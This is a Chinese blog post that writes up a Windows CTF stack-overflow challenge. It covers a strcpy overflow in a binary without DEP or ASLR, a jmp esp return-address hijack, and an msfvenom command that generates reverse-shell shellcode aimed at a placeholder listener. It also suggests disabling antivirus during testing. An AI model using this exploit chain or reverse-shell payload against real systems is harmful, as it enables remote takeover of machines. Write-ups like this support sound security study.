windows-PWN小计

windows-PWN小计

由于最近有同事在考某证所以给了我道windows的PWN,好像windows-pwn的学习相对较少,好像并没有

前置知识

​ 要知道二进制漏洞一般都是万变不离其宗,想堆栈溢出不管是linux下,Windows下,甚至是一些RTOS下,都是由于用户的输入数据(在比赛中通常是标准的IO,真实漏洞挖掘中是一些协议的与服务的数据包)导致了内存的破坏,作为一个pwner在ctf中我们见惯了linux下的PWN,也知道要使用栈溢出等内存破坏漏洞PWN一个程序,非常重要的就是程序开启的保护以及程序的保护壳

Windows下的软件保护

​ 具体保护可以看下面文章的描述

Windows内存保护机制及绕过方法

​ 开发exe程序,大部分都是使用vc,vs等编译器,大部分保护都是这些编译器在编译过程中加入的

具体题目
整理思路

​ 整个程序栈溢出点比较好找,在windows-pwn中比较简单的就是程序没有开启DEP保护,数据段可以执行。具体可以看程序是什么编译器生成的以及加入了哪些保护壳

​ exeinfo截图如下

image-20220926102540902

​ 程序是由vc++中是不会支持到DEP与ASLR的引入的,保护相对是没有的,且程序没有壳,所以可以往内存中注入shellcode执行即可

寻找漏洞触发

​ 经过分析程序是使用strcpy函数将输入拷贝到栈上导致了栈溢出,需要寻找一条jmp esp的指令通过附件中给的dll找到,然后将返回地址劫持到此处,随后就会跳转到之后布置的shellcode上

image-20220926104055816

​ payload的构造如下具体内存中的布局如下

padding + jmp_esp + shellocde

image-20220926104606679

​ shellcode的生成可以使用msf生成reverse_shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=xxx LPORT=xxx -b "xxxx" EXITFUNC=thread -f c
成功反弹

image-20220926105206737

PS

​ 比较坑的一点就是开始没有分析整个程序的代码,整个程序导致一直在测badchar,拿到程序最好还是先分析
第二点就是本地测试的时候记得把杀软关了,它检测到有恶意连接会直接kill掉

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值